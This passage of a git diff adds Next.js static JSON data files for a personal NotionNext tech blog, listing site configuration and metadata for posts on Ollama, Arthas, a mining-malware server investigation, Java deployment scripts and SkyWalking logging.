2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"微服务"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\212\230\350\205\276.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\212\230\350\205\276.json"
new file mode 100644
index 000000000..7e391d1f0
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\212\230\350\205\276.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"折腾"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\216\250\350\215\220.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\216\250\350\215\220.json"
new file mode 100644
index 000000000..1b34adbdb
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\216\250\350\215\220.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 